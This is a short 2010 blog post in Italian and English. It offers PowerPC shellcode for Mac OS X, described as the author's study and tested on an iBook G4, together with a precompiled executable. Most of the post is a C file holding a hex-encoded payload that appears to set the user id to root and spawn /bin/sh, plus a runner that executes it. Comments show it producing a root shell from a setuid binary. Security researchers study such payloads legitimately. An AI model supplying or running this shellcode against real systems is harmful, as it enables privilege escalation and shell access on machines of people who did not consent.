lunedì 13 settembre 2010

old PowerPC shell code

It’s another my study about shell code on PowerPc, tested on old iBook G4.

Executable precompiled on powerbook G4: ppcshCode

Here the code:  ppcshCode.c
/*
 * author: Alessandro Muratore
 * email:  muratore.ale@gmail.com
 *
 *  # chown root ppcshCode
 *  # chmod u+s ppcshCode
 *  $ ./ppcshCode
 *  sh-2.05b# id
 *  uid=0(root) gid=501(loop) groups=501(loop), 81(appserveradm), 79(appserverusr), 80(admin)
 */
char shc0de[]=
  "\x7c\x63\x1a\x79\x40\x82\xff\xfd"
  "\x39\x40\x01\x23\x38\x0a\xfe\xf4"
  "\x44\xff\xff\x02\x60\x60\x60\x60"
  "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6"
  "\x38\x63\x01\x54\x38\x63\xfe\xf4"
  "\x90\x61\xff\xf8\x90\xa1\xff\xfc"
  "\x38\x81\xff\xf8\x3b\xc0\x01\x47"
  "\x38\x1e\xfe\xf4\x44\xff\xff\x02"
  "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d"
  "\x38\x1e\xfe\xf4\x44\xff\xff\x02"
  "\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
 void (*pecora) (void) = (void (*) (void)) shc0de;
 printf("lenght: %d\n", strlen(shc0de));
 pecora();
}

Nessun commento:

Posta un commento